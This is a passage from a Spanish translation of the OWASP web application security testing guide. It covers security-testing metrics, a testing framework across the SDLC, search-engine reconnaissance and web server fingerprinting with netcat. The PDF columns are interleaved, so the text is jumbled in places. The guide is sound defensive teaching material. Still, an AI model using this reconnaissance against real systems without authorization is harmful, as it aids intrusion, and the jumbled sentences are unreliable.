a los depositarios o accionistas de los datos de las pruebas de seguridad de la
La categorizacin de cada tipo de vulnerabilidad organizacin. Los accionistas pueden incluir gerentes de proyecto, desarrolladores,
oficinas de seguridad de informacin, auditores y oficiales principales de
La amenaza a la seguridad que expone el tema

30
informacin. El valor puede ir en trminos de la rentabilidad que tiene cada [1] T. DeMarco, Controlling Software Projects: Management, Measurement
accionista del proyecto, en trminos del rol y la responsabilidad. and Estimation, Yourdon Press, 1982
[2] S. Payne, A Guide to Security Metrics - sans.org
Los desarrolladores de software buscan demostrar, en los datos de pruebas de [3] NIST, The economic impacts of inadequate infrastructure for software
seguridad, que el software est codificado de una manera ms segura y eficiente. testing - nist.gov
Esto les permite apoyar el caso para usar herramientas de anlisis de cdigo fuente,
as como seguir estndares de codificacin y asistir a entrenamientos de seguridad [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk
de software.
[5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC
2004
Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las [6] Bruce Schneier, Cryptogram Issue #9 - schneier.com
actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto
de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad [7] Symantec, Threat Reports - symantec.com
pueden mostrar los proyectos que estn dentro del cronograma, avanzar de acuerdo
al objetivo de las fechas de entrega y mejorar durante las pruebas. [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov
[9] Senator Peace and Assembly Member Simitian, SB 1386- leginfo.ca.gov
Los datos de pruebas de seguridad tambin ayudan al caso del negocio cuando la [10] European Union, Directive 96/46/EC on the protection of individuals
iniciativa proviene de agentes de seguridad de la informacin (ISO). Por ejemplo, with regard to the processing of personal data and on the free movement of
puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no such data - ec.europa.eu
afectan la ejecucin de los proyectos; ms bien reducen la carga de trabajo total
necesaria para atacar vulnerabilidades que se presentarn ms adelante en la [11] NIST, Risk management guide for information technology systems -
produccin. csrc.nist.gov
[12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and

Vulnerability Evaluation (OCTAVE) - cert.org
Para los auditores de cumplimiento, las mtricas de pruebas de seguridad
[13] Ken Thompson, Reflections on Trusting Trust, Reprinted from
Communication of the ACM - cm.bell-labs.com
proporcionan un nivel de garanta, seguridad y confianza del software que cumple [14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com
con el estndar, a travs de los procesos de revisin de seguridad dentro de la
organizacin. [15] FFIEC, Authentication in an Internet Banking Environment -
www.ffiec.gov
[16] PCI Security Standards Council, PCI Data Security Standard -

Por ltimo, los oficiales en jefe de la informacin (CIO) y oficiales en jefe de pcisecuritystandards.org
seguridad de la informacin (CISO), que son responsables del presupuesto que
debe asignarse en recursos para la seguridad, buscan la derivacin de un anlisis de [17] MSDN, Cheat Sheet: Web Application Security Frame -
costo - beneficio de los datos de pruebas de seguridad. Esto les permite tomar msdn.microsoft.com
decisiones fundamentadas con respecto a las actividades de seguridad y
herramientas en las que deben invertir. Una de las mtricas que respaldan dicho [18] MSDN, Improving Web Application Security, Chapter 2, Threat And
anlisis es el retorno sobre la inversin (ROI) en seguridad [23]. Para derivar dichas Countermeasures - msdn.microsoft.com
mtricas de los datos de pruebas de seguridad, es importante cuantificar la
diferencia entre el riesgo debido a la exposicin de las vulnerabilidades y la [19] Sindre,G. Opdmal A., Capturing Security Requirements Through
efectividad de las pruebas de seguridad en la mitigacin de los riesgos de Misuse Cases - folk.uio.no
seguridad, y factorizar esta brecha con el costo de las actividades de pruebas de
seguridad o las herramientas de prueba adoptadas. [20] Improving Security Across the Software Development Lifecycle Task
Force, Referred Data from Caper Johns, Software Assessments,
Benchmarks and Best Practices - criminal-justice-careers.com
Referencias [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE
- cwe.mitre.org

31
[22] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - blackhat.com
El Framework Referencial de Pruebas OWASP
3 Esta seccin describe un framework de pruebas tpico que puede desarrollarse dentro de una
organizacin. Puede ser visto como un framework referencial que comprende tcnicas y tareas
que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).

32
Resumen su lugar, presentamos un modelo de desarrollo genrico, y el lector debe seguirlo

segn el proceso de su empresa.
Esta seccin describe un framework de pruebas tpico que puede desarrollarse
dentro de una organizacin. Puede ser visto como un framework referencial que
comprende tcnicas y tareas que son apropiadas en diferentes fases del ciclo de
vida de desarrollo del software (SDLC). Las empresas y equipos de proyecto Este framework de pruebas consiste de las siguientes actividades que deben
pueden utilizar este modelo para desarrollar su propio framework de pruebas y ocurrir:
para mirar los servicios de pruebas de los proveedores. Este framework de
pruebas no puede considerarse como prescriptivo, sino como un enfoque flexible
que puede ser extendido y moldeado para adaptarse a los procesos de desarrollo
y cultura de la organizacin.
Antes del inicio del desarrollo
Esta seccin pretende ayudar a las organizaciones a construir un proceso Durante la definicin y diseo
completo de anlisis estratgico y no est dirigida a consultores o contratistas
que tienden a ser ms tcticos en las zonas especficas de la prueba. .Durante el desarrollo
Durante la implementacin
Es fundamental entender por qu se debe crear un framework de pruebas de Mantenimiento y operaciones

inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad
del software. En la escritura de cdigo seguro, Howard y LeBlanc cuentan que
emitir un boletn de seguridad le cuesta a Microsoft por lo menos $100.000, y les
cuesta colectivamente a sus clientes mucho ms que eso el aplicar los parches de Fase 1: Antes del inicio del desarrollo
seguridad. Tambin observan que el sitio web de delitos informticos del
Fase 1.1: Defina un SDLC
gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/)
detalla recientes casos criminales y la prdida de las organizaciones. Las
Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser
prdidas comunes superan con creces los USD $100.000.
definido donde la seguridad es inherente en cada etapa.
Con una economa como esta, no es de extraarse por qu los proveedores de

Fase 1.2: Revise las polticas y estndares
software pasan de realizar nicamente pruebas de seguridad de Caja Negra, que
slo se puede realizar en las aplicaciones que ya se han desarrollado, a
Asegrese de que existen adecuadas polticas, estndares y documentacin en el
concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones
lugar. La documentacin es extremadamente importante ya que da a los equipos las
tales como la definicin, diseo y desarrollo.
pautas de desarrollo y las polticas que pueden seguir.
Muchos practicantes de seguridad todava ven la seguridad en el reino de las

La gente slo puede hacer lo correcto si sabe lo que es lo correcto.
pruebas de penetracin. Como comentamos antes, aunque las pruebas de
penetracin tienen un papel que desempear, son generalmente ineficaces en
encontrar errores y dependen excesivamente de la habilidad del evaluador. Solo
deben considerarse como tcnicas de implementacin, o para crear conciencia
Si la aplicacin se desarrollara en Java, es esencial que exista un estndar de
sobre problemas de produccin. Para mejorar la seguridad de las aplicaciones,
codificacin segura de Java. Si la aplicacin debe utilizar la criptografa, es
debe mejorarse la calidad de la seguridad del software. Esto significa probar la
esencial que haya un estndar de criptografa. Ninguna poltica o norma puede
seguridad en las etapas de definicin, diseo, desarrollo, implementacin y
cubrir cada situacin que enfrentar el equipo de desarrollo. Al documentar las
mantenimiento y no depender de la costosa estrategia de esperar hasta que el
cuestiones comunes y predecibles, habr menos decisiones que necesiten ser
cdigo est construido completamente.
hechas durante el proceso de desarrollo.
Como comentamos en la introduccin de este documento, existen muchas

Fase 1.3: Desarrolle criterios de mediciones y mtricas y asegure su
metodologas de desarrollo como el proceso unificado racional, desarrollo gil y
trazabilidad
extremo y metodologas tradicionales de cascada. La intencin de esta gua no es
proponer ni una metodologa de desarrollo en particular ni proporcionar Antes de que comience el desarrollo, planifique el plan de medicin. Definir los
orientacin especfica que se adhiere a cualquier metodologa en particular. En criterios que deben medirse proporciona visibilidad de los defectos tanto en el
33
proceso como en el producto. Es esencial definir las mtricas antes de que Las aplicaciones deben tener una arquitectura y diseo documentados. Esta
comience el desarrollo, ya que puede haber la necesidad de modificar el proceso documentacin puede incluir modelos, documentos textuales y otros artefactos
con el fin de capturar los datos. similares. Es esencial probar estos artefactos para asegurar que el diseo y la
arquitectura de la aplicacin mantienen el nivel adecuado de seguridad segn lo
definido en los requisitos.
Fase 2: Durante la definicin y diseo
Fase 2.1: Revise los requisitos de seguridad Identificar fallas de seguridad en la fase de diseo no slo es uno de los momentos
ms eficientes en costo para identificar fallas, sino que puede ser uno de los
Los requisitos de seguridad definen cmo funciona una aplicacin desde momentos ms eficaces para realizar cambios. Por ejemplo, si se identifica que el
diseo exige autorizacin para las decisiones en varios lugares, puede ser apropiado
considerar un componente de autorizaciones centralizado. Si la aplicacin realiza
una validacin de datos en mltiples lugares, puede ser apropiado desarrollar un
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad marco de validacin central (es decir, la validacin de correcciones en un solo
sean probados. Probar, en este caso, significa verificar los supuestos que se lugar, en vez de cientos de lugares; es mucho ms econmico).
hacen en los requisitos y las pruebas para ver si hay diferencias en las
definiciones de los requisitos.
Si se descubren debilidades, stas deben ser entregadas al arquitecto del sistema

para buscar enfoques alternativos.
Por ejemplo, si hay un requisito de seguridad que indica que los usuarios deben
estar registrados antes de que puedan acceder a la seccin de documentos de un Fase 2.3: Cree y revise modelos UML
sitio web, esto significa que el usuario debe estar registrado en el sistema o que
el usuario est autenticado? Asegrese de que los requerimientos sean muy Una vez que el diseo y la arquitectura estn completos, construya modelos de
claros. Lenguaje de Modelaje Unificado (UML) que describan cmo funciona la
aplicacin. En algunos casos, estos ya pueden estar disponibles. Use estos modelos
para confirmar con los diseadores de sistemas una comprensin exacta de cmo
funciona la aplicacin. Si se descubren debilidades, stas deben ser entregadas al
Al buscar brechas de necesidades, considere mirar los mecanismos de seguridad arquitecto del sistema para buscar enfoques alternativos.
tales como:
Etapa 2.4: Cree y revise modelos de amenazas

Administracin de usuarios
Provisto con la revision del diseo y la arquitectura de los modelos UML, y
Autenticacin habiendo aclarado exactamente cmo funciona el sistema, lleve a cabo un ejercicio
de modelaje de amenazas. Desarrolle escenarios realistas de las amenazas. Analice
Autorizacin el diseo y la arquitectura para asegurar que estas amenazas han sido mitigadas,
aceptadas por el negocio o asignadas a una tercera persona, como una empresa de
Confidencialidad de datos seguros. Cuando las amenazas identificadas no tengan estrategias de mitigacin,
revise el diseo y la
Integridad
Responsabilidad
arquitectura con el arquitecto de sistemas para modificar el diseo.
Administracin de sesiones
Seguridad de transporte
Fase 3: Durante el desarrollo
Segregacin de sistema de informacin en niveles
En teora, el desarrollo es la aplicacin de un diseo. Sin embargo, en el mundo
Cumplimiento de legislacin y estndares (incluidas las normas de privacidad,
real, muchas decisiones de diseo se realizan durante el desarrollo de la
gubernamentales e industria)
codificacin. Son, a menudo, decisiones pequeas que eran demasiado detalladas
para ser descritas en el diseo, o temas donde no se ofrecieron polticas o
estndares de orientacin. Si el diseo y la arquitectura no fueran adecuados, el
desarrollador se enfrentar a muchas decisiones. Si hay normas y polticas
Fase 2.2: Revise el diseo y arquitectura
insuficientes, el desarrollador se enfrentar an a ms decisiones.

34
Para ms informacin sobre las listas OWASP, por favor consulte la gua de
OWASP para Seguridad de Aplicaciones Web, o la ltima edicin de la OWASP
Fase 3.1: Camine a travs del cdigo Top 10.
El equipo de seguridad debera realizar una "caminata" a travs del cdigo con los
desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a
travs del cdigo es un recorrido de alto nivel a travs del cdigo, donde los Fase 4: Durante la fase de implementacin
desarrolladores pueden explicar la lgica y el flujo del cdigo implementado. Esta
caminata permite al equipo de revisin de cdigo obtener una comprensin general Fase 4.1: Prueba de aplicacin y penetracin
del cdigo y permite a los desarrolladores explicar por qu ciertas cosas se
desarrollaron de la manera en que lo hicieron. Habiendo probado los requisitos, analizado el diseo y realizada la revisin de
cdigo, se puede suponer que todos los temas han sido cubiertos. Esperemos que
este sea el caso, pero realizar pruebas de penetracin de la aplicacin despus de
que se ha implementado proporciona una ltima comprobacin para asegurarse
El propsito no es realizar una revisin de cdigo, sino entender en un nivel alto el de que nada se ha escapado.
flujo, el diseo y la estructura del cdigo que compone la aplicacin.
Fase 3.2: Revisiones de cdigo
Armado con una buena comprensin de cmo est estructurado el cdigo y por qu
ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede Fase 4.2: Pruebas de gestin de configuracin
examinar ahora el cdigo real en busca de defectos de seguridad.
La prueba de penetracin de la aplicacin debe incluir la comprobacin de cmo
la infraestructura fue implementada y asegurada. Aunque la aplicacin puede ser
segura, un pequeo aspecto de la configuracin podra estar todava en una fase
Las revisiones de cdigo esttico validan el cdigo con una serie de listas de de instalacin por defecto y ser vulnerable a la explotacin.
verificacin, que incluyen:
Fase 5: Mantenimiento y operaciones

Requerimientos del negocio para la disponibilidad, confidencialidad e integridad.
Fase 5.1: Revisin de la gestin de la conducta operacional
Gua OWASP o listado Top 10 para exposiciones tcnicas (dependiendo de la
profundidad de la revisin). Debe existir un proceso implantado que detalle cmo se maneja tanto la parte
operativa de la aplicacin como la infraestructura.
Cuestiones especficas relacionadas con el lenguaje o el framework utilizado, tales
como el papel Escarlata para el PHP o la lista de Garanta de codificacin
Microsoft para ASP.NET.
Etapa 5.2: Realice pruebas de salud de la conducta peridicamente
Los requisitos especficos de la industria, tales como Sarbanes-Oxley 404,
COPPA, ISO/IEC 27002, APRA, HIPAA, las guas de Visa Merchant u otros Las pruebas de salud de la conducta deben realizarse mensual o trimestralmente,
regmenes normativos. tanto sobre la aplicacin como sobre la infraestructura para garantizar que no
hayan aparecido nuevos riesgos de seguridad y que el nivel de seguridad est
todava intacto.
En trminos del retorno sobre los recursos invertidos (sobre todo tiempo), las
revisiones de cdigo esttico producen rendimientos de mayor calidad que
cualquier otro mtodo Etapa 5.3: Garantice la verificacin despus del cambio
Despus de que cada cambio ha sido aprobado y probado en el entorno de

control de calidad e implementado en el entorno de produccin, es de vital
de revisin de seguridad y dependen menos en la habilidad del revisor. Sin importancia que el cambio sea comprobado para asegurarse de que el nivel de
embargo, no son una solucin milagrosa y necesitan ser consideradas seguridad no ha sido afectado por l . Esto debe estar integrado dentro del
cuidadosamente dentro de un rgimen de prueba de amplio espectro. proceso de gestin del cambio.
Un flujo de trabajo de pruebas SDLC tpico

35
La siguiente imagen muestra un tpico flujo de pruebas de SDLC.
Pruebas de Seguridad de
4 Aplicaciones Web
Las siguientes secciones describen las 12 categoras de la Metodologa de
Pruebas de Penetracin de una Aplicacin Web.

36
Pruebas: Introduccin y objetivos Abierto: cada experto en seguridad puede participar con su experiencia en el
proyecto. Todo es gratis.
Esta seccin describe la metodologa OWASP de pruebas de seguridad de
aplicaciones web y explica cmo evaluar para encontrar evidencias de Colaborativo: Se realizan lluvias de ideas antes de que los artculos sean escritos,
vulnerabilidades dentro de la aplicacin, debido a las deficiencias de los as el equipo puede compartir ideas y desarrollar una visin colectiva del proyecto.
controles de seguridad identificados. Esto significa un consenso bsico, un pblico ms amplio y mayor participacin.
Qu son las pruebas de seguridad de aplicaciones web? Este enfoque tiende a crear una metodologa de pruebas definida que ser:
Una prueba de seguridad es un mtodo para evaluar la fiabilidad de un sistema

informtico o red mediante una metdica validacin y verificacin de la
efectividad de los controles de seguridad de la aplicacin. Una prueba de
seguridad de aplicaciones web se centra slo en evaluar la seguridad de una
Constante
aplicacin web. El proceso implica un anlisis activo de la aplicacin en busca
de deficiencias, fallas tcnicas o vulnerabilidades. Cualquier problema de
Reproducible
seguridad que se encuentre ser presentado al propietario del sistema, junto con
una evaluacin del impacto y una propuesta de mitigacin o una solucin
Rigurosa
tcnica.
Bajo control de calidad
Los problemas que se abordarn estn totalmente documentados y probados. Es

Qu es una vulnerabilidad?
importante utilizar un mtodo para probar todas las vulnerabilidades conocidas y
documentar todas las actividades de pruebas de seguridad.
Una vulnerabilidad es un defecto o una debilidad en el diseo, implementacin,
operacin o gestin de un sistema que podra ser explotado para comprometer
los objetivos de seguridad del sistema.
Cul es la metodologa de pruebas de OWASP?
Las pruebas de seguridad nunca sern una ciencia exacta donde se puede definir
Qu es una amenaza?
una lista completa de todos los temas posibles que deben ser probados. De hecho,
las pruebas de seguridad son slo una tcnica apropiada para probar la seguridad de
Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario
aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger
interno, una inestabilidad del sistema, etc.) que puedan daar los activos propios
todas las tcnicas de pruebas posibles, explicar estas tcnicas y mantener la gua
de una aplicacin (recursos de valor como los datos en una base de datos o en el
actualizada. El mtodo de pruebas de seguridad de aplicaciones Web OWASP se
sistema de archivos) mediante la explotacin de una vulnerabilidad.
basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca
informacin sobre la aplicacin a probar.
Qu es una prueba?
Una prueba es una accin que permite demostrar que una aplicacin cumple con
los requisitos de seguridad de sus grupos de inters.
El Enfoque en la escritura de esta gua
El enfoque de la OWASP es abierto y colaborativo:

37
El modelo de prueba consiste de: El conjunto de pruebas activas se han dividido en 11 categoras para un total de 91
controles:
Evaluador: uien realiza las actividades de prueba
Herramientas y metodologa: el ncleo de este proyecto de gua de pruebas
Aplicacin: la Caja Negra para la prueba

Pruebas de gestin de configuracin e implementacin

La prueba se divide en dos fases:
Pruebas de gestin de identidad
Pruebas de autenticacin
Fase 1 Modo pasivo:
Pruebas de autorizacin
En el modo pasivo, el evaluador intenta comprender la lgica de la aplicacin y
juega con la aplicacin. Se pueden utilizar herramientas para la recopilacin de Pruebas de gestin de sesin
informacin. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas
las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe Pruebas de validacin de ingreso
comprender todos los puntos de acceso (puertas) de la aplicacin (por ejemplo,
encabezados HTTP, parmetros y cookies). La seccin de Recoleccin de Manejo de errores
Informacin explica cmo realizar una prueba de modo pasivo.
Criptografa
Pruebas de lgica del negocio

Por ejemplo, el evaluador puede encontrar lo siguiente:
Pruebas del punto de vista del cliente
https://www.example.com/login/Authentic_Form.html
Pruebas de la recopilacin de la informacin
Entender la configuracin implementada del servidor que aloja la aplicacin web es

Esto puede indicar una forma de autenticacin donde la aplicacin solicita un casi tan importante como la aplicacin misma de pruebas de seguridad. Despus de
nombre de usuario y contrasea. todo, una cadena de aplicaciones slo es tan fuerte como su eslabn ms dbil. Las
plataformas de aplicacin son amplias y variadas, pero algunos errores clave de
configuracin de la plataforma pueden comprometer la aplicacin de la misma
manera que una aplicacin no segura puede comprometer al servidor.
Los siguientes parmetros representan dos puntos de acceso (puertas) a la
aplicacin.
Mediante un motor de bsqueda, realice una bsqueda de

descubrimiento/reconocimiento de fugas de informacin (OTG-INFO-001)
http://www.example.com/Appx.jsp?a=1&b=1
Resumen
Existen elementos directos e indirectos para el descubrimiento y reconocimiento

En este caso, la aplicacin muestra dos puertas (parmetros a y b). Todas las mediante motores de bsqueda. Los mtodos directos se refieren a buscar en los
puertas que se encuentran en esta fase representan un punto de prueba. Una hoja de ndices y el contenido asociado al cach. Los mtodos indirectos se refieren a
clculo con el rbol de directorios de la aplicacin y todos los puntos de acceso informacin sensible de la configuracin y diseo mediante bsquedas en foros,
podra ser til para la segunda fase. grupos de noticias y sitios de licitacin web.
Una vez que un robot de motores de bsqueda ha terminado de arrastrarse,

comienza la indexacin de la pgina web basada en etiquetas y atributos asociados,
Fase 2 Modo Activo: tales como<TITLE>, con el fin de devolver los resultados de bsqueda relevantes
[1]. Si el archivo robots.txt no est actualizado durante la vida til del sitio web y en
En esta fase el evaluador empieza a probar utilizando la metodologa descrita en las lnea HTML las meta etiquetas, que indican a los robots que no generen ndices del
secciones siguientes.
38
contenido, no han sido utilizadas, entonces es posible que los ndices incluyan ixquick/Startpage
contenido web cuya inclusin no estaba prevista por parte de los propietarios. Los
propietarios de pginas web pueden utilizar el mencionado robots.txt, meta Google
etiquetas HTML, autenticacin y herramientas proporcionados por los motores de
bsqueda para eliminar dicho contenido. Shodan
PunkSpider
Objetivos de la prueba
Para entender qu informacin sensible del diseo y configuracin de la Duck Duck Go y ixquick/Startpage proveen informacin limitada al respecto de
aplicacin/sistema/organizacin est expuesta directamente (en la pgina web de fugas del evaluador.
la organizacin) o indirectamente (en un sitio web de terceros).
Google ofrece el operador de bsqueda "cache:" avanzado [2], pero esto es el

Cmo probar equivalente a hacer clic en el "cach", al lado de cada resultado de bsqueda de
Google. Por lo tanto, usar el operador de bsqueda de "sitios" avanzado y luego
Use un motor de bsqueda para buscar: hacer clic en "cached" es preferible.
Diagramas de red y configuraciones El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP
de doGetCachedPageResponse asociado [3] para ayudar a recuperar pginas en
Mensajes archivados y mensajes de correo electrnico cach. Una implementacin de esto est en desarrollo por OWASP en el proyecto
"Google Hacking".
de los administradores y dems personal clave

PunkSpider es un motor de bsqueda de vulnerabilidades de aplicaciones web. Es
de poca utilidad para un evaluador de penetracin mientras realiza un trabajo
manual. Sin embargo, puede ser til para demostrar la facilidad con la cual los
Procedimientos de inicio de sesin y otros formatos de nombre de usuario script-kiddies (usuarios inexpertos) pueden encontrar vulnerabilidades.
Nombres de usuario y contraseas
Contenido de mensajes de error Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un
motor de bsqueda tpico, la sintaxis requerida es:
Desarrollo, prueba, UAT escenificando las versiones de la pgina web
Operadores de bsqueda
Utilizando la bsqueda avanzada del operador de bsqueda de "sitios", es

posible restringir los resultados de la bsqueda a un dominio especfico [2]. No
limite las pruebas a un proveedor de motor de bsqueda ya que se pueden
generar diferentes resultados, dependiendo de cundo rastrean los contenidos y
de sus propios algoritmos. Considere usar los siguientes buscadores:
Baidu
binsearch.info
Bing
Duck Duck Go
39
Informacin sensible de compras en lnea
Herramientas
[4] FoundStone SiteDigger: mcafee.com
[5] Google Hacker: yehg.net

Para mostrar el index.html de owasp.org como est en cache, la sintaxis es:
[6] Stach & Lius Google Hacking Diggity Project: bishopfox.com
[7] PunkSPIDER: punkspider.hyperiongray.com
Referencias
Web
[1] Google Basics: Learn how Google Discovers, Crawls, and Serves Web
Pages - support.google.com
[2] Operators and More Search Help: support.google.com
Base de datos de Google Hacking
La base de datos de Google Hacking es una lista muy til de consultas de bsqueda
[3] Google Hacking Database: exploit-db.com
de Google. Las consultas se ponen en varias categoras:
Remediacin
Puntos de apoyo o bases de apoyo
Considere cuidadosamente la sensibilidad de la informacin del diseo y
Archivos que contienen nombres de usuario
configuracin antes de publicarla en lnea.
Directorios sensibles
Deteccin de servidores web

Peridicamente revise la sensibilidad de la informacin del diseo y configuracin
existente que est publicada en lnea.
Archivos vulnerables
Servidores vulnerables
Mensajes de error Use huellas digitales en el servidor web (OTG-INFO-002)
Archivos que contienen informacin atractiva Resumen
Archivos que contienen contraseas El utilizar huellas digitales en el servidor web es una tarea fundamental para

40
el evaluador de penetracin. Conocer la versin y el tipo de un servidor web
en ejecucin permite a los evaluadores determinar vulnerabilidades conocidas y

cmo explotarlas adecuadamente para usarlas durante la prueba.
Hay varios proveedores diferentes y versiones de servidores web en el mercado

hoy. Conocer el tipo de servidor web que est siendo probado ayuda
significativamente en el proceso de prueba, y tambin puede cambiar el curso de la
prueba.
Del campo del servidor, se puede entender que el servidor es muy probablemente
Apache, versin 1.3.3, y que corre sobre un sistema operativo Linux.
Esta informacin se puede derivar enviando al servidor web comandos especficos
y analizando la respuesta de salida, como cada versin de software del servidor
Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuacin:
web puede responder de manera distinta a estos comandos. Sabiendo cmo
responde cada tipo de servidor web a comandos especficos y manteniendo esta
informacin en una base de datos de huellas digitales de servidores web, un
evaluador de penetracin puede enviar estos comandos al servidor web, analizar la
De un servidor Apache 1.3.23:
respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para HTTP/1.1 200 OK
identificar con precisin el servidor web, cmo las diferentes versiones pueden
reaccionar de manera similar para el mismo comando. Raramente las diferentes Date: Sun, 15 Jun 2003 17:10: 49 GMT
versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que
mediante el envo de varios comandos diferentes, el evaluador puede aumentar la Server: Apache/1.3.23
precisin de su conjetura.
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas
Accept-Ranges: bytes
Encontrar la versin y el tipo de servidor web en ejecucin para determinar
Content-Length: 196
vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Connection: close
Cmo probar
De un servidor Microsoft IIS 5.0:

Prueba de Caja Negra
La forma ms simple y ms bsica de identificar un servidor web es buscar en el

campo del servidor, en el encabezado de respuesta HTTP. Utilizamos Netcat en
este experimento.
Considere la siguiente respuesta de solicitud HTTP:

41
HTTP/1.1 200 OK
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no
Server: Microsoft-IIS/5.0 puede saber qu tipo de servidor web se ejecuta basado en dicha informacin.
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT 403 HTTP/1.1 Forbidden
Content-Type: text/HTML Date: Mon, 16 Jun 2003 02:41: 27 GMT
Accept-Ranges: bytes Server: Unknown-Webserver/1.0
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT Connection: close
Content-Type: text/HTML; charset=iso-8859-1

De un servidor Netscape Enterprise 4.1:
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Comportamiento de protocolo
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Tcnicas de comportamiento ms refinadas toman en cuenta diversas
Content-length: 57 caractersticas de los varios servidores web disponibles en el mercado. Abajo est
una lista de algunas metodologas que permiten a los evaluadores deducir el tipo de
Accept-ranges: bytes servidor web que est en uso.
Ordenamiento de campo de encabezado HTTP

De un servidor SunONE 6.1:
El primer mtodo consiste en observar el ordenamiento de los encabezados en la
respuesta. Cada servidor web tiene un orden interior del encabezado.
HTTP/1.1 200 OK
Supongamos las siguientes respuestas, como ejemplo:
Server: Sun-ONE-Web-Server/6.1
Respuesta de Apache 1.3.23
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Sin embargo, esta metodologa de prueba es limitada en cuanto a precisin. Existen

varias tcnicas que permiten a un sitio web oscurecer o modificar la cadena de
encabezado del servidor. Por ejemplo, uno podra obtener la siguiente respuesta:

42
$ nc apache.example.com 80 $ nc netscape.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Netscape-Enterprise/4.1
Server: Apache/1.3.23 Date: Mon, 16 Jun 2003 06:01: 40 GMT
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT Content-type: text/HTML
ETag: 32417-c4-3e5d8a83 Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Accept-Ranges: bytes Content-length: 57
Content-Length: 196 Accept-ranges: bytes
Connection: close
Respuesta de IIS 5.0 Respuesta de SunONE 6.1
$ nc iis.example.com 80 $ nc sunone.example.com 80
HEAD / HTTP/1.0 HEAD / HTTP/1.0
HTTP/1.1 200 OK HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0 Server: Sun-ONE-Web-Server/6.1
Content-Location: http://iis.example.com/Default.htm Date: Tue, 16 Jan 2007 15:23:37 GMT
Date: Fri, 01 Jan 1999 20:13: 52 GMT Content-length: 0
Content-Type: text/HTML Content-type: text/html
Accept-Ranges: bytes Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Respuesta de Netscape Enterprise 4.1
Podemos notar que el orden de los campos de fecha y servidor difieren entre
Apache, Netscape Enterprise y IIS.
Pruebas de solicitudes con formato incorrecto
Otra prueba til para ejecutar consiste en enviar solicitudes con formato incorrecto
o pginas inexistentes al servidor. Considere las siguientes respuestas HTTP.

43

$ nc sunone.example.com 80
$ nc apache.example.com 80 GET / HTTP/3.0
GET / HTTP/3.0 HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
HTTP/1.1 400 Bad Request
Date: Tue, 16 Jan 2007 15:25:00 GMT
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Content-length: 0
Server: Apache/1.3.23
Content-type: text/html
Connection: close
Transfer: chunked
Podemos notar que cada servidor responde de forma diferente. La respuesta
tambin es diferente, dependiendo de la versin del servidor. Observaciones
Respuesta de IIS 5.0 similares se pueden hacer creando peticiones con un mtodo HTTP
inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
HTTP/1.1 200 OK
$ nc apache.example.com 80
Server: Microsoft-IIS/5.0
GET / JUNK/1.0
Content-Location: http://iis.example.com/Default.htm
HTTP/1.1 200 OK
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Content-Type: text/HTML
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
$ nc netscape.example.com 80 Content-Length: 196
GET / HTTP/3.0
HTTP/1.1 505 HTTP Version Not Supported Respuesta de IIS 5.0
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Respuesta de SunONE 6.1

44
Desenmascarame - desenmascara.me
$ nc iis.example.com 80
GET / JUNK/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
